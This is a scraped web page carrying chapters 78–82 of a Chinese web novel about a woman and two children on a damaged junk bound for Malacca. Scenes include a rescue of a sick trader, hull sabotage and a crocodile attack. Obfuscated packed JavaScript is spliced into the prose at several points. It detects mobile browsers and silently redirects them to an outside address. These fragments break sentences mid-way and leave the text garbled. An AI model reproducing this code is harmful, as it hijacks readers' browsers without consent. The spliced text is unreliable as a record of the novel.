l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157576|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 省下的一点盐，兑了开水，给牙龈出血严重的水手漱口，虽然或许没什么大用，但一点咸味或许能让他们好受些。 她的这些小小的、不着痕迹的举动，似乎也慢慢得到了回应。水手们见到她，会微微点头；浆洗婆子会偷偷塞给她一小块相对干净的破布，让她给巧姐儿做件小褂子；连独眼老水手，偶尔在她去领饭时，那浑浊的独眼里，似乎也会闪过一丝几不可察的……温和？ 这种变化并非一蹴而就，也并非所有人都如此。船上仍有偷奸耍滑、欺软怕硬之辈，但一种基于共同困境的、微弱的“同舟共济”之感，正在这艘漂泊的破船上，悄然滋生。 苏璃甚至开始尝试，在保证自身和孩子们基本需求的前提下，略微“分享”她那些来自前世的、简陋的生存知识。比如，她教浆洗的妇人用海水初步清洗衣物，再用极少的淡水漂清，以节约淡水；建议身体不适的人，尽量多晒晒太阳；甚至在一次闲聊中，“无意”提到，听说海外有些地方的人，会生吃一些海里的海藻来防治类似的病…… 她不知道这些有多少用，但做一些力所能及的事情，看着周遭人们那死灰般的眼神里，因为一点小小的帮助或希望而稍微亮起一丝光，她心中那沉重的、一直紧绷的某种东西，似乎也稍微松动了一些。这或许，也是一种自救。 当然，她从未忘记真正的危险所在。郑老大越来越焦躁，时常把自己关在船长室，对着海图和账本发呆，眼中布满血丝。老余头依旧神出鬼没，大部分时间沉默地待在他的角落，修补着永远修不完的船具，那佝偻的背影，仿佛藏着整个大海的秘密。 这一日，海上风平浪静，难得有了点好天气。苏璃带着板儿和巧姐儿在甲板背风处，借着阳光，缝补着孩子们破得不能再破的衣物。巧姐儿乖巧地坐在她身边，玩着几颗光滑的小石子。板儿则在不远处，跟着一个老水手学习打一种复杂的水手结，学得很认真。 阳光洒在甲板上，带着暖意。海鸥在不远处盘旋，发出清脆的鸣叫。如果不是船上破败的景象和人们脸上的菜色，这几乎可以算是一幅宁静的海上时光。 就在这片刻的宁静中，苏璃眼角的余光，忽然瞥见老余头那佝偻的身影，出现在通往底舱的楼梯口。他手里拎着个小木桶，似乎刚检查完底舱的积水情况。他停下脚步，浑浊的目光，缓缓扫过甲板，在苏璃和孩子们身上停留了一瞬。 那目光，依旧深沉难测。但不知是不是错觉，苏璃竟从中，捕捉到了一丝极其细微的、近乎疲惫的……缓和？仿佛冰山裂开了一道微不可察的缝隙。 老余头的嘴唇似乎几不可察地动了动，然后，他什么也没说，拎着木桶，蹒跚着，消失在了楼梯的阴影里。 苏璃停下手中的针线，望着那空荡荡的楼梯口，心中若有所思。老余头那未出口的话语，会是什么？警告？提示？还是……别的什么？ 海风轻柔，带着咸湿的气息拂过面颊。前路依旧茫茫，危机四伏。但此刻，在这短暂的宁静和悄然变化的氛围中，苏璃的心，似乎找到了一丝久违的、微弱而真实的平静。或许，信任的建立，并非一蹴而就，而是在这漫长的、充满未知的航程中，一点一滴，从共同面对风雨、分享微末善意开始的。 79. 帆影与心灯 海上出现不明帆影的消息，如同投入滚油的冷水，瞬间打破了“福海号”上那短暂的、脆弱的平静。刚刚因彼此间微弱的善意而稍显松弛的神经，再次猛地绷紧。 甲板上，刚刚还在懒洋洋晒太阳、缝补衣物、学习打结的人们，瞬间变了脸色。水手们丢下手头的一切，涌向船舷，踮脚张望。郑老大如同一头发怒的困兽，冲上船头，抢过瞭望水手的千里镜，死死盯着海天相接处那个越来越清晰的黑点。 苏璃的心也提到了嗓子眼。她迅速将针线收好，一手拉起巧姐儿，一手拽住板儿，退到相对安全又能观察到情况的桅杆后方。是海盗？是那些北边来的追兵终于寻到了海上？还是……别的什么？ 帆影渐近，可以看清是两艘船，一大一小。大船是标准的广船样式，吃水颇深，显然是货船。小船则更灵活，像是护卫的快艇。两船一前一后，航向笔直地朝着“福海号”而来。 “是商船？”有人低声猜测，语气里带着一丝希冀。 “不像……”郑老大放下千里镜，脸色阴沉，“看那阵势，不像寻常路过。传令，升满帆，右转舵，避开它们！” “福海号”破旧的帆索吱呀作响，努力调整着方向。但对方显然也察觉了他们的意图，小船加速驶来，船头劈开白浪，速度极快。 距离越来越近，已经能看清小船上影影绰绰的人影，似乎都带着兵器。甲板上顿时一阵骚动。连最凶悍的水手，眼中也露出了惧色。在海上，遭遇不明船只拦截，往往意味着灭顶之灾。 苏璃紧紧搂着两个孩子，手心沁出冷汗。她看到老余头不知何时也来到了甲板上，佝偻着背，眯着浑浊的眼睛望着来船，脸上依旧是那副古井无波的表情，但握着缆绳的枯手，指节微微泛白。 就在这紧张得几乎要凝滞的气氛中，对面小船上，忽然升起了一面旗帜。不是海盗常用的骷髅旗，也不是官府的龙旗，而是一面靛蓝色的三角旗，上面用银线绣着一个颇为奇特的标记——像是一朵祥云，又像是一只抽象的海鸟。 “是……是‘云记’的船！”一个跑过南洋的老水手忽然失声叫道，声音里充满了难以置信的激动。 “云记？”郑老大一愣，再次举起千里镜仔细辨认，紧绷的脸色似乎缓和了一丝，但戒备未消。 “‘云记’是吕宋那边的大海商，专做南洋到闽浙的买卖，信誉还不错，一般不惹事……”那老水手急促地解释道。 说话间，那艘小船已驶到“福海号”近前，保持着一个安全的距离。船头站着一个穿着青色箭袖、头戴方巾的中年人，肤色微黑，目光炯炯。他对着“福海号”拱了拱手，声音洪亮，用的是带着闽地口音的官话： “前方可是‘福海号’郑船主？在下吕宋‘云记’管事陈四海，冒昧打扰！” 郑老大走到船舷边，沉声回应：“正是郑某。陈管事有何指教？” 那陈四海又拱了拱手，笑道：“指教不敢当。我等自满剌加返航，途中偶遇飓风，失了些淡水，又有一船员急病。远远见到贵船，特来求助，想用些香料换取些许淡水和……或许船上有懂些岐黄之人，能施以援手？” 不是海盗，不是追兵，是求助的商船？而且愿意用香料交换？甲板上紧张的气氛顿时为之一松，不少人甚至露出喜色。香料在南洋或许不算顶顶稀罕，但在中原可是硬通货！ 郑老大眼中精光一闪，显然也在权衡利弊。淡水他们自己也紧缺，但香料……他回头看了一眼苏璃所在的方向。方才陈四海提到了“懂岐黄之人”。 苏璃心中一动。这是机会，也是考验。 郑老大沉吟片刻，对那陈四海道：“淡水所余不多，但可匀出一些。至于懂医的……”他顿了顿，“船上倒有位娘子，略通些草药，前番船上时疫，多亏了她。陈管事若不嫌弃，可让那病患移步过来一观，或可尽力。” 他没有直接暴露苏璃的“重要性”，但话里也留了余地。 陈四海闻言大喜：“如此甚好！多谢郑船主高义！”他立刻吩咐手下，从那艘大船上放下一艘更小的舢板，将一个裹着毯子、昏迷不醒的汉子抬了过来。 “福海号”放下绳梯。苏璃定了定神，对板儿低声道：“看好妹妹，在这里等娘。”然后，她整理了一下衣衫，深吸一口气，走向船舷。 在众人或好奇、或期待、或担忧的目光中，苏璃顺着绳梯，下到了与“福海号”并靠的“云记”小船上。那病患被安置在船舱里，面色潮红，呼吸急促，浑身滚烫，已然昏迷。苏璃上前查看，翻看了一下他的眼皮和舌苔，又摸了摸脉象，她其实并不真懂把脉，但前世陪客户看过中医，记得些皮毛，心中大致有了判断——像是严重的热病，或许还夹杂着水土不服和感染。 “云记”船上的随行医师似乎已经束手无策。苏璃沉吟片刻，对那陈管事道：“此症凶猛，民妇只有些土方，或可一试。需大量清热退烧的草药，如金银花、连翘、石膏等，船上可备有？” 陈四海连忙道：“有些有些！刚从满剌加采买的药材里，正好有这些！”他立刻命人去取。 苏璃又问了船上是否有绿豆、葛根等物，幸运的是都有。她便指挥着“云记”船上的仆妇，用绿豆、葛根加上取来的金银花、连翘等，熬了一大锅浓浓的药汁。又让人用湿布巾不断给病患擦拭身体降温。 她守在那病患旁边，仔细观察着他的反应，不时调整着药汁的浓度和喂服的次数。这过程持续了近两个时辰。郑老大派人来催问过两次，苏璃只回说“尚在尽力”。 终于，在天色将晚时，那病患的高烧开始缓缓退去，呼吸也平稳了些许，虽然还未醒转，但脸色已不像之前那般骇人。 陈四海一直守在旁边，见状，长长舒了口气，对着苏璃深深一揖：“娘子妙手回春！陈某感激不尽！救命之恩，没齿难忘！” 苏璃连忙侧身避过，擦了擦额头的汗，疲惫道：“陈管事言重了，不过是尽力而为。此症未清，还需按时服药，好生将养。” 陈四海连连称是，态度极为客气。他果然守信，命人从大船上搬来了两小箱上好的胡椒和丁香，作为换取淡水和诊病的酬谢。又额外取了一小包洁白的冰糖和几块颜色鲜艳的南洋花布，执意要送给苏璃，说是“给娘子润喉，给孩子裁衣”。 郑老大见到那两箱香料，眼中闪过喜色，对苏璃点了点头，算是认可。而“云记”赠送的冰糖和花布，他并未索要，默许了苏璃自己收下。 当苏璃带着那包冰糖和花布，顺着绳梯重新爬回“福海号”时，甲板上的气氛与之前截然不同。水手们看着她，眼神里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一刻，没有怀疑，没有算计，只有同舟共济的伙伴，在为一点点微末的温暖和希望，默默地努力着。海风穿过舷窗的缝隙，带来远方的气息。前路依旧漫长，但苏璃的心，却比以往任何时刻，都更加踏实，也更加坚韧。 夜深了，婆子缝完最后几针，打了个哈欠，回去睡了。苏璃吹熄了油灯，在黑暗中搂着孩子们。她能听到舱外海浪轻柔的拍打声，能听到远处水手模糊的呓语。 就在她即将入睡之际，舱门被极轻地敲响了一下。 苏璃瞬间清醒，屏住呼吸。 门外，传来老余头那嘶哑得几乎听不清的声音，只有短短几个字，顺着门缝飘了进来： “糖……可吃。布……莫近火。” 说完，脚步声便蹒跚着远去了。 苏璃在黑暗中睁大了眼睛。糖可吃？是说“云记”送的糖没问题？布莫近火？是提醒那花布易燃，要小心？还是……另有所指？ 老余头这没头没尾的提醒，依旧神秘。但这一次，苏璃心中泛起的，除了警惕，竟还有一丝极其细微的……困惑与探究。这个神秘的老者，似乎并非全然冷漠。他到底是谁？在这一切背后，扮演着怎样的角色？ 夜色深沉，大海无言。但苏璃知道，有些东西，正在这漫长的航程中，悄然改变。 80. 裂痕与抉择 远方海平线上那一抹模糊的黛青色轮廓，如同一剂强心针，注入了“福海号”每个濒临崩溃的灵魂。瞭望水手嘶哑却亢奋的呼喊“陆地！是陆地！”在甲板上空回荡，瞬间点燃了压抑许久的希望。人们涌向船舷，踮着脚，伸长脖子，贪婪地眺望着那片象征着生机、淡水和食物，或许也象征着无数未知与危险的陆地。 “是‘鳄鱼屿’！按海图，就是这儿！过了这里，再往南不远，就能看见满剌加的海岸了！”郑老大捏着那张几乎被翻烂的海图，声音里也带上了一丝罕见的激动。连日来的焦躁、困顿，似乎都在这一刻得到了宣泄。连他脸上那道狰狞的疤痕，仿佛也舒展了些。 甲板上响起压抑的欢呼和哽咽。有人跪了下来，对着陆地磕头；有人抱着同伴，又哭又笑；更多人则眼巴巴地望着郑老大，等待他下令靠岸。他们太需要脚踏实地的感觉，太需要新鲜的淡水，太需要一点绿色的、能吃的植物，哪怕只是野菜。 苏璃也拉着板儿和巧姐儿，站在人群边缘，望着那片越来越清晰的陆地。心中同样涌动着复杂的情绪。历经劫波，终于看到了彼岸的影子。然而，她并未像旁人那般全然沉浸在狂喜中。老余头那句“布莫近火”的提醒，始终在心头盘旋。这片陌生的陆地，是福是祸？ 郑老大显然也被这希望鼓舞，但他到底是一船之主，强行压下激动，开始部署：“黑塔，带几个人，准备好小艇，多带些水桶！上岸后，先找水源，注意警惕，别他妈给老子惹事！老王，把最后那点能吃的都拿出来，今晚让大家吃顿热乎的！其他人，都给我打起精神，把船稳住，准备靠岸！” 命令一下，船上顿时忙碌起来，充满了久违的、带着目的的生气。 然而，就在这充满希望的气氛中，一个佝偻的身影，却逆着人流，走向了正意气风发的郑老大。是老余头。他依旧那副沉默寡言的样子，但脸色比平日更加凝重，浑浊的眼睛里，甚至带着一丝罕见的焦灼。 “老大，”老余头的声音嘶哑低沉，在嘈杂中几乎听不清，“靠岸前，得先看看船。” 郑老大正沉浸在即将靠岸的喜悦和对补给品的憧憬中，闻言有些不耐：“看什么船？等上了岸，补充了给养，再修不迟！” “怕是等不了。”老余头摇摇头，声音虽低，却带着一种不容置疑的坚持，“船底……有新裂痕。不先看看，怕靠岸时出岔子。” 郑老大脸上的兴奋僵了一下，眼神锐利起来：“新裂痕？在哪儿？” “龙骨附近，左舷。”老余头简短地回答。 龙骨是船的脊梁，龙骨附近出现新裂痕，绝非小事。郑老大脸色沉了下来，也顾不得上岸的事了，对黑塔挥挥手：“上岸的事先等等！老余头，带路！” 苏璃的心也提了起来。她下意识地跟在了人群后面。船体安危，关系到每个人的生死。 一行人来到底舱最深处。这里昏暗潮湿，空气中弥漫着积水、货物和霉烂木头的混合气味。老余头举着一盏昏暗的油灯，引着郑老大、黑塔，还有闻讯赶来的几个老水手，来到左舷靠近船头的位置。他移开几袋压舱的沙石，用一把小凿子，小心翼翼地刮掉附着在船壳内壁上的、厚厚的一层海藻、藤壶和泥沙混合的污垢。 随着污垢剥落，船壳木板裸露出来。在油灯跳跃的光线下，一道崭新的、触目惊心的裂痕，赫然出现在众人眼前！裂痕从靠近龙骨的位置向上延伸，足有半尺多长，虽然不算特别宽，但边缘的木纤维参差不齐，显然是新近产生的。最让人心惊的是，裂痕的形状并非笔直，而是带着一种古怪的、不规则的弯曲，仿佛是被某种巨大的、不规则的力量狠狠撞击或扭曲过。 “这……”郑老大倒吸一口凉气，蹲下身，用手仔细摸了摸裂痕的边缘，脸色变得异常难看，“怎么会这样？前次风浪过后，不是仔细检查过吗？这是什么时候裂的？” 老水手们也面面相觑，纷纷摇头。前次风浪虽然猛烈，但受损部位都在甲板和桅杆，船底虽有旧伤渗水，也已被老余头带人加固过，并未发现如此新鲜的裂痕。 “不是风浪。”老余头的声音在寂静的底舱格外清晰，带着一种冰冷的笃定，“裂痕边缘的木茬很新，最多不超过三天。而且，这形状……”他用枯瘦的手指，沿着裂痕弯曲的轨迹虚划了一下，“不像是自然撞击，倒像是……被人用重物，从外面，刻意凿击过。” “什么？！”郑老大霍然起身，眼中爆出骇人的凶光，“有人凿船？谁？！哪个王八蛋敢在海上干这种绝户的勾当！” 底舱的空气瞬间降至冰点。凿船，在海上是最恶毒、最不可饶恕的行为，这是要将整船人置于死地！水手们脸上也露出了震惊和愤怒，互相警惕地打量着。 苏璃的心猛地一沉。人为破坏？在这与世隔绝的海上，谁会对“福海号”下此毒手？是为了船上的货物？还是……针对某个人？她脑中飞快闪过上船以来的种种，疤脸熊的追债、北边探子的搜寻、龟背岛上官船的痕迹、老余头的警告……难道，真的有一张网，早已悄然撒下？ “先别管是谁！”老余头打断了郑老大的暴怒，语气急促，“眼下最要紧的，是这裂痕！不立刻修补加固，别说靠岸，稍微大点的风浪，船就可能从这里断开！到时候，全得喂鱼！” 郑老大强迫自己冷静下来，他知道老余头说的是实情。他瞪着那道裂痕，咬牙切齿：“怎么补？需要什么？” “需要硬木料填补裂缝，需要上好的桐油、麻丝，需要铁箍从外面加固，里面也要用铁板铆死。”老余头语速很快，“木料，船上没有合适的，得上岸找。桐油麻丝倒是还有些。铁箍和铁板……”他看向郑老大。 郑老大脸色铁青。铁箍铁板是船上重要的修补材料，所剩本就不多。“用！全都用上！黑塔，上岸的事先放一放！你，带几个得力的人，立刻跟老余头一起，想办法先把这裂痕从里面勉强堵上，防止继续扩大！我亲自带人上岸，立刻去找合适的硬木料！” 他转头，目光扫过众人，最后落在了苏璃身上，眼神复杂：“柳娘子，你心思细。修补需要人手，也需人调度照应。你……和独眼一起，协助老余头，务必在他需要时，提供一切支持！其他人，都听老余头和柳娘子调遣！” 这突如其来的任命，让所有人都是一愣。让一个妇人，参与如此关键的、关乎生死存亡的船体修补指挥？但船上众人经历了瘟疫救治、与“云记”交涉等事后，对苏璃的能力和沉稳早已看在眼里，此刻竟无人提出异议，反而觉得在这种危急关头，有个冷静细心的人在旁协调，或许确是好事。独眼老水手也沉默地点了点头。 苏璃自己也有些意外，但她知道此刻不是推辞的时候。郑老大并非完全信任她，更多是无奈之下的权宜之计，但也是一种变相的认可和托付。她深吸一口气，迎上郑老大的目光，沉静地点了点头：“民妇定当尽力。” “好！”郑老大不再废话，点了几个人，带上武器和工具，匆匆上了小艇，朝着不远处的“鳄鱼屿”划去。时间，就是生命。 老余头则立刻开始了工作。他指挥着黑塔等人，先将裂缝周围的船壳清理干净，露出坚实的木面。然后用凿子和锯子，小心地将裂缝边缘松动的木屑剔除，修整出可以填补的楔形凹槽。这工作需要极大的耐心和精准，稍有不慎，就可能扩大裂缝。 苏璃立刻进入角色。她让独眼老水手去清点库存的桐油、麻丝、铁钉等物，自己则带着两个浆洗婆子，用干净的布巾，不断擦拭清理出来的木面，确保没有水汽和杂质。又让板儿带着巧姐儿，待在相对安全的角落，烧着热水，准备干净的布条和清水，以备不时之需。 底舱昏暗闷热，空气污浊。敲打声、刮擦声、人们的喘息和低声交谈，混杂在一起。汗水很快浸湿了每个人的衣衫。但没有人抱怨，每个人都清楚，这是在为自己挣命。 苏璃一边忙碌，一边仔细观察着老余头的每一个动作。这个神秘的老者，在修补船只时，完全变了一个人。那双浑浊的眼睛变得锐利如鹰，手上的动作稳定、精准、充满力量，对船体结构的了解更是达到了惊人的程度。他几乎不用测量，仅凭眼力和手感，就能判断出哪里需要加固，用多长的木楔，下多重的钉。 “麻丝，浸满桐油。”老余头头也不抬地吩咐。 苏璃立刻将准备好的、浸透了滚烫桐油的麻丝递过去。老余头接过，用一把特制的铁钎，将麻丝一点点、极其用力地塞进裂缝深处，直到塞得严严实实。然后，他将几块船上能找到的最硬的木料，削成合适的木楔，同 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时间在紧张的劳作中飞速流逝。夕阳西下，将海面染成一片血色。郑老大的小艇终于返回，带回了找到的几根粗壮、坚硬的铁力木。但所有人的脸色都不好看。 “岛上……有人来过。”郑老大跳上甲板，声音低沉，带着压抑的怒火和一丝不易察觉的惊疑，“砍伐的痕迹很新，不会超过三五天。还有……这个。”他摊开手心，里面是几片破碎的、染着暗红色污渍的布条，看质地，与龟背岛上发现的官用云锦碎片极为相似！此外，还有半个被踩扁的、中原制式的牛皮水囊。 又是他们！那些神秘的、似乎一直在追踪“福海号”的人！ 底舱的气氛瞬间凝固。内患未除，外忧已至。而且，敌人似乎比他们更早抵达了这里，甚至可能在岛上设置了陷阱或埋伏！ 所有人的目光，都投向了郑老大，投向了老余头，也投向了……苏璃。在这突如其来的、内外交困的绝境中，人们下意识地开始寻找主心骨。 郑老大眼神变幻，最终，他看向了老余头：“老余头，外面加固，最快需要多久？” 老余头看了一眼那几根铁力木，又望了望天色，嘶哑道：“连夜干，最快也要到明日晌午。而且，需要人下水作业，风险很大。” 下水？在可能有敌人窥伺的陌生海域，在昏暗的夜色中下水作业？这几乎是送死！ 郑老大腮帮子上的肌肉狠狠跳动了几下。他环视着甲板上这些面黄肌瘦、眼中带着恐惧和希冀的船员，又看了看依偎在苏璃身边、懵懂不知事的两个孩子，最后，目光落在了那道通往底舱裂痕的楼梯口。 良久，他猛地一咬牙，仿佛用尽了全身力气，做出了决定：“修！必须修！不修，大家都得死！黑塔，挑几个水性最好、胆子最大的，准备下水！其他人，全部戒备，弓箭、鱼叉都给我准备好！柳娘子……”他看向苏璃，眼神复杂，“你带几个妇人，烧足热水，准备好干爽衣物和伤药。再……看看还有什么能吃的，都做了，让大家吃饱了，才有力气拼命！” 这一次，他没有再问“谁愿意下水”，而是直接命令。这是船长的决断，也是绝境中唯一的生路。 苏璃看着郑老大眼中那孤注一掷的狠厉，看着水手们脸上混杂着恐惧与决绝的神情，看着老余头沉默却坚定的佝偻背影，再看看身边紧紧抓着她衣角的板儿和巧姐儿……一股从未有过的责任感与某种奇异的镇定，悄然在她心中升起。 她不再是那个只求自保、时刻警惕的逃难者。在这艘风雨飘摇的破船上，在这生死与共的航程中，她的命运，早已与这些人紧紧捆绑在一起。 “是。”苏璃的声音平静而清晰，在这凝重的夜色中，竟带着一种抚慰人心的力量，“民妇这就去准备。” 她转身，开始有条不紊地安排。让浆洗婆子去烧水，让独眼老水手清点可用的伤药和布条，自己则带着板儿，去清点所剩无几的粮食。巧姐儿乖巧地跟在她身后，不哭不闹。 海风渐起，带着夜的凉意。“鳄鱼屿”黑黢黢的轮廓，在星光下如同蛰伏的巨兽。而“福海号”上，灯火通明，一场与时间、与大海、也与暗处敌人的生死搏斗，即将在夜色中展开。 81. 鳄鱼屿惊魂 夜色如墨，海风带着刺骨的寒意。“福海号”船尾下方，几盏气死风灯在风中摇曳，投下昏黄而晃动不安的光晕，照亮了船壳外那片漆黑、涌动的海水。空气中弥漫着桐油、汗水、海腥和一种近乎凝固的紧张气息。 老余头佝偻的身影站在船舷边，浑浊的眼睛在灯光下却锐利如隼，死死盯着下方海面。黑塔和另外三个水性最好的精壮水手，只穿着一条犊鼻裤，身上绑着粗麻绳，嘴里咬着短刀，正准备潜入冰冷的海水中，进行那场关乎生死的船体外部加固。 “记住位置！木料对准裂缝，铁箍要卡死！动作要快，水下不能久留！”老余头的声音嘶哑，却异常清晰，每一个字都砸在众人心上。 黑塔抹了把脸上的海水，重重一点头，眼神凶狠中带着决绝：“放心吧，余老爹！兄弟们，下水！” 噗通！噗通！几声闷响，四条身影如同海豹般，悄无声息地滑入漆黑的海水，只留下几圈迅速扩散的涟漪。船上所有人的心，都随着那涟漪，沉了下去。 苏璃带着几个妇人，早已在甲板上支起了几口大锅，烧着滚烫的开水和姜汤。旁边堆着干净的布巾和船上所剩无几的、治疗外伤的草药膏。板儿和巧姐儿被安置在相对安全的舱口，由那个失去孙子的浆洗婆子看着。郑老大则带着其余水手，手持鱼叉、弓箭，紧张地警戒着四周黑暗的海面和不远处那座如同巨兽般沉默的“鳄鱼屿”。任何一点异常的风吹草动，都可能引发致命的攻击。 时间在极度的寂静和等待中，一分一秒地流逝。只有海浪拍打船体的声音，和锅底柴火燃烧的噼啪声，清晰可闻。每一秒，都像一个世纪般漫长。 水下不时传来沉闷的敲击声，那是黑塔他们在固定木料和铁箍。每一次敲击，都让船上的人心头一紧，既盼着声音持续，这说明人还安全，又怕声音引来不必要的注意。 苏璃紧紧攥着手中温热的布巾，目光不时扫过漆黑的海面，又望向远处岛屿模糊的轮廓。老余头那句“布莫近火”的警告，以及郑老大带回的、带有官制痕迹的布条和水囊碎片，像阴云一样笼罩在心头。敌人，可能就在咫尺之遥的岛上，窥伺着他们。 突然，水下传来一阵急促的、并非敲击的搅动声，伴随着一个水手模糊的、压抑的惊呼！ “下面有情况！”瞭望的水手尖声叫道。 所有人的心瞬间提到了嗓子眼！郑老大一个箭步冲到船舷边：“拉绳子！快拉他们上来！” 几个水手拼命拉动连着水下四人的保险绳。绳子绷得笔直，水下挣扎的动静更大！ “是……是鳄鱼！好大的家伙！”一个被拉上来的水手，脸色惨白，喘着粗气，指着水下，语无伦次地喊道。他的小腿上，有一道清晰的、被利齿划破的血痕！ 鳄鱼！这片海域竟然有鳄鱼！而且被水下的动静和可能的血腥味引来了！ 就在这时，另一根绳子猛地一沉，接着一股巨大的力量传来，险些将拉绳的水手拽下海！是黑塔！他好像被什么东西拖住了！ “黑塔大哥！”水手们惊呼。 “妈的！”郑老大眼都红了，抢过一把鱼叉，就要往海里跳。 “别下水！”老余头猛地喝止，声音前所未有的严厉，“点火把！扔到那边海面！快！” 苏璃瞬间明白了老余头的意图！野兽怕火！她几乎是本能地冲向灶台，抄起一根燃烧的粗柴，奋力扔向黑塔挣扎方向的海面！其他反应过来的水手也纷纷将点燃的布条、油桶扔了下去。 几团火焰落在海面上，燃烧起来，虽然很快被海浪打灭，但那瞬间的光亮和热度，显然惊扰了水下的生物。拉扯黑塔的力量骤然一松！ “拉！”老余头嘶吼。 几个水手用尽吃奶的力气，猛地将绳子拽回！哗啦一声，黑塔庞大的身躯被拖出水面，他右手死死握着一柄短刀，刀上沾着暗红色的血迹，左臂有一道深可见骨的撕裂伤，鲜血淋漓。他被七手八脚地拖上甲板，瘫倒在地，大口喘着粗气，脸上毫无血色。 “还有两个！快拉！”郑老大急道。 幸运的是，另外两个水手也先后被安全拉了上来，虽受了惊吓，但伤势不重。最先受伤的那个水手伤口也被迅速包扎。 水下加固作业被迫中断。但万幸的是，经过这番搏命，最关键的那道裂缝，已经被黑塔他们在鳄鱼来袭前，用木料和铁箍勉强加固住了。虽然粗糙，但至少暂时稳住了船体结构。 危机暂时解除，但气氛更加凝重。不仅有暗处的敌人，还有这海域致命的野兽。必须尽快离开这里！ 郑老大查看了一下黑塔的伤势，脸色阴沉得能滴出水来。他看了一眼惊魂未定的众人，又望了望东方天际那隐约泛起的鱼肚白，咬牙道：“不能等了！天一亮，立刻起航！离开这鬼地方！” 他看向老余头：“老余头，这船……能撑到满剌加吗？” 老余头检查了一下被拉上来的加固材料痕迹，又侧耳听了听船体的动静，嘶哑道：“勉强能走，但不能快，也不能再遇大风浪。到了满剌加，必须大修。” “能走就行！”郑老大重重吐出一口浊气，“所有人，抓紧时间休息！天亮就出发！” 这一夜，无人能够安眠。受伤水手的呻吟，对黑暗中海岛和鳄鱼的恐惧，以及对船体状况的担忧，交织在一起。苏璃和妇人们忙着照顾伤员，烧水煮饭，几乎未曾合眼。 天色微明，海面上弥漫着淡淡的晨雾。“鳄鱼屿”在晨曦中露出了它狰狞的面目——怪石嶙峋，植被茂密，寂静得可怕。 “起锚！升帆！”郑老大嘶哑着下令，声音中透着一股劫后余生的疲惫和决绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183778|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “福海号”拖着伤痕累累的船体，缓缓驶离了这片危机四伏的海域。当那座不祥的岛屿终于消失在视野中时，船上几乎所有人都松了一口气，有种逃离鬼门关的虚脱感。 航程继续。接下来的日子，变得异常艰难。船速缓慢，坏血病在缺乏新鲜蔬果的情况下继续蔓延，食物和淡水再次告急。但或许是因为共同经历了鳄鱼屿的生死考验，船上那种彼此提防、各自为政的气氛淡了许多。大家更加沉默，却也多了一种默契。分享所剩无几的淡水和食物时，争吵少了；照顾伤病员时，抱怨也少了。一种在绝境中淬炼出的、粗糙而坚韧的“同舟共济”之情，在悄然生长。 苏璃依旧忙碌在灶间和伤员之间，但她不再仅仅是一个被动的帮手。她会主动将有限的姜汤多分给体弱年老者；会将“云记”送的冰糖化在水里，给牙龈出血严重的人漱口；甚至会在天气晴好时，组织妇孺将潮湿的衣物被褥拿到甲板上晾晒，防止霉变引发疾病。她的这些举动，自然而然地得到了众人的响应。连郑老大看到她时，紧绷的脸色也会略微缓和，偶尔还会询问她对剩余物资分配的意见。 老余头依旧沉默，大部分时间待在他的角落，维护着船只。但苏璃注意到，他偶尔看向她和孩子们的目光，那层冰冷的隔膜似乎薄了一些。有一次，巧姐儿差点被松脱的缆绳绊倒，正是老余头看似不经意地伸脚挡了一下，避免了孩子摔伤。苏璃向他道谢时，他只是浑浊地“嗯”了一声，便佝偻着背走开了。 日子在饥饿、干渴、病痛和缓慢的航行中煎熬着。直到这一天午后，瞭望的水手用尽最后一丝力气，发出了近乎哭泣的呼喊： “陆地！好大的陆地！是满剌加！我们到了！我们真的到了！” 这一次，不再是岛屿模糊的影子。远方海平线上，出现的是连绵不绝的海岸线，高耸的绿色山峦，以及山脚下隐约可见的、密密麻麻的房屋和……桅杆！无数的桅杆！ “福海号”上，先是一片死寂，随即爆发出震天的、带着哭腔的欢呼声！人们相互拥抱，喜极而泣，哪怕虚弱得站不稳，也挣扎着爬到船舷边，贪婪地望着那片象征着生机的土地。 郑老大站在船头，望着那片陌生的、充满诱惑与危险的港口，脸上露出了如释重负却又更加复杂的神情。航程结束了，但新的挑战，才刚刚开始。 苏璃搂着板儿和巧姐儿，望着那片越来越近的、充满异域风情的海岸，心中百感交集。有逃出生天的庆幸，有对未来的迷茫，也有一丝淡淡的、与这艘破船和船上这些共过生死的人们即将分别的不舍。 “福海号”调整着方向，拖着疲惫不堪的身躯，朝着那片未知的、被称为“满剌加”的港口，缓缓驶去。 海风带来了陌生的、混合着香料、湿热和人群气息的味道。一个新的世界，就在眼前。 82. 满剌加的第一缕光 “福海号”终于颤巍巍地靠上了满剌加拥挤不堪的码头。当粗糙的缆绳套上系船桩，船身与木制栈桥发出沉闷的撞击声时，船上许多人，包括苏璃在内，都有种恍如隔世的不真实感。脚下不再是摇晃的甲板，而是坚实而有些湿滑的土地。空气里充斥着的，是前所未有的、浓烈到令人头晕目眩的混合气息：刺鼻的香料、腐烂的水果、咸腥的海鱼、人群的汗臭、牲畜的粪便，还有各种煎炸食物和不知名花草的奇异香味，以及……无数种听不懂的语言交织成的、震耳欲聋的喧嚣。 